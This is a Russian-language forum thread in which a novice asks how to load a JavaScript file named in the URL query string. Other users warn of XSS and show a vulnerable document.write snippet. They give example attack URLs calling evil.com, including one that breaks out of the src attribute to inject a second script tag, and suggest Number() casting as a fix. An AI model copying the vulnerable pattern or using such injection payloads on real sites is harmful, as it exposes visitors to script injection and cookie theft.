Загрузка внешнего скрипта...
Раньше нужно было загружать только один внешний скрипт... и все было гуд...
<script TYPE="text/javascript" LANGUAGE="JavaScript" src="1000.js"></script> теперь появилась необходимость загружать больше, первое, что пришло в голову - взять данные из url'а www.name.ru/index.htm?1001 <script language="JavaScript"> url=location.search.substring(location.search.lastIndexOf("?")+1,location.search.length); </script> 1001 - номер нужного скрипта получили, а вот как сделать, что бы загрузился внешний скрипт с таким и менем? помогите новичку... хелп... |
ты создал уязвимость своими руками: это потенциальный xss с огромной функцилнальностью...
|
Цитата:
|
Возможность передать в адресной строке, какой скрипт подключить.
По теме: задача-то какая? |
Цитата:
Он был один, теперь нужно загружать несколько, вот решил через url это сделать. добавил в ссылку знак вопроса и номер нужного скрипта. На странице номер нужного скрипта после вопросика получил, а вот как его в строку вставить незнаю. <script TYPE="text/javascript" LANGUAGE="JavaScript" src="1000.js"></script> чтобы вместо 1000.js загружался скрипт имя которого будет стоять в url'е после вопросика... |
<script language="JavaScript"> var url=location.search.substring(1,location.search.length); document.write('<script TYPE="text/javascript" src="'+url+'.js"><\/script>') </script> но не надо так делать!!! |
Цитата:
и в чем опасность? насколько я знаю xss это с кукисами связано... |
xss - межсайтовый скриптинг.
Почему плохо: www.name.ru/index.htm?http://www.evil.com/script И всё... По этой ссылке на твою страничку вставится скрипт http://www.evil.com/script.js и сделает что угодно (сворует куки, покажет порнорекламу и т.д.) |
Что значит
Цитата:
|
Цитата:
|
Цитата:
|
способ вставить свою ссылку всё равно есть, ты уже открыл окно для xss, так что это только вопрос времени (которого у меня сейчас нет, так как я на работе).
|
Это на стороне сервера делаться должно. Но имя скрипта в урле передавать все равно не надо.
|
Цитата:
Подгружается скрипт с этим - Add("1","10001","17","1.000","15.000","1") |
можно подгружать свой скрипт, а из него подргужать твой и никто ругаться не будет...
|
Думаю ничего не получиться...
document.write('<script TYPE="text/javascript" src="www.name.ru/'+url+'.js"> www.name.ru/index.htm?http://www.evil.com/script и что моя страница откроет? www.name.ru/http://www.evil.com/script.js думаю ругаться будет. я уже попоробывал открыть другой скрипт, в котором прописал просто открыть нужный мне. и ничего не получилось встроеный в страницу скрипт сразу ругнулся... |
не бойся, если у тебя не получилось, это не значит что так нельзя...
|
Цитата:
|
viliv, тебе все правильно советуют. Это лучше делать на сервере, с помощью php или что у тебя там. Если данных в целом немного, можно их все подгрузить. Если же ты все-таки хочешь обойтись без серверного языка, то напиши лучше
document.write('<script TYPE="text/javascript" src="'+Number(url)+'.js"><\/script>') т.е. будет происходить преобразование в число. Ослаблять это ограничение (только числа) опасно Хотя мне тоже интересно как можно воспользоваться src="www.name.ru/'+url+'.js" Скорее всего имелось в виду, что плохо заводить такую привычку. Однажды она тебя подведет ;-) |
Цитата:
если на name.ru будет неаккуратный редирект серверный где-нить, то хана. но и помимо этого простор для творчества есть.это ж ведь немного искуство))) |
а, ну единственная опасность, которую я вижу в таком случае, что кто-то загрузит на сервер свой скрипт (дырявая загрузка файлов на сервер)
|
вот ссылка для клика:
www.name.ru/index.htm?1.js"></script><script src="http://www.evil.com/script вот что получится в скрипте: url = '1.js"></script><script src="http://www.evil.com/script'; document.write('<script TYPE="text/javascript" src="www.name.ru/'+url+'.js"><\/script>') Итого в документ запишется: <script TYPE="text/javascript" src="www.name.ru/1.js"></script><script src="http://www.evil.com/script.js"></script>' |
однако, прям javascript-injection O_o
|
да блин, обычный css на фигово разработанных сайтах...
Я же советую человеку не показывать своё невежество и не делать так. зачем городить такую лабуду? Чтобы потом писать 20 строк кода для проверки передаваемого параметра на безопасность? |
это
document.write('<script TYPE="text/javascript" src="'+Number(url)+'.js"><\/script>') на 20 строк не похоже |
Это поменьше, я согласен. Но всё равно, такой поход (параметр в строке) говорит о том, что на сайте можно немного поискать и найти ещё пару-тройку ошибок...
|
ну скажем так, автору пока опасно применять такой подход
|
Часовой пояс GMT +3, время: 10:42. |